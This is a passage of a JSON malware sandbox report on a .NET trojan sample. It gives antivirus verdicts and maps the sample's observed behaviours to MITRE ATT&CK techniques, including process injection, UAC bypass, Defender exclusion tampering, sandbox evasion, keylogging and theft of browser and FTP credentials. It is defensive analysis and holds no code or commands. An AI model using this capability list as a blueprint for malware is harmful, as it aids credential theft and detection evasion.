hreat_name":"W32/MSIL_Agent.HJL.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TScope.Trojan.MSIL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_52.8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Initial Access","technique":"Drive-by Compromise","attack_id":"T1189","attack_id_wiki":"https://attack.mitre.org/techniques/T1189","identifiers":[{"type":"suspicious","value":"Possible heap spraying attempt detected"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Found WMI keywords in script (string)"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Contains ability to access the loader directly (API string)"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the visual basic runtime environment"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"malicious","value":"Modifies System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to set/delete MS-DOS device name (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Device Registration","attack_id":"T1098.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1098/005","identifiers":[{"type":"informative","value":"Contains ability to register device notification handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate a named-pipe client application (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Contains ability to modify process memory (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"malicious","value":"Writes shellcode to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Creates a system process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"malicious","value":"Writes PE header to memory"},{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains ability to encrypt/decrypt data using TripleDES"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"YARA signature match – ROR algorithm"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"YARA signature match - ChaCha20 256-bit algorithm"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"suspicious","value":"YARA signature match - ChaCha20 128-bit algorithm"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match – Encryption algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"},{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual/sandbox environment"},{"type":"suspicious","value":"YARA signature match - References common sandbox DLLs (sandbox evasion)"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to identify virtual/sandbox environment devices"},{"type":"informative","value":"Contains ability to detect presence of virtual environment (API string)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Contains ability to retrieve information set for devices (API string)"},{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"},{"type":"informative","value":"YARA signature match - Medium entropy File"},{"type":"informative","value":"YARA signature match - High entropy file"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"YARA signature match – PEB traversal"},{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"informative","value":"Able to access password managers"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"informative","value":"References Firefox browser credentials files"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"malicious","value":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"},{"type":"informative","value":"Strings related to file managers detected"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API 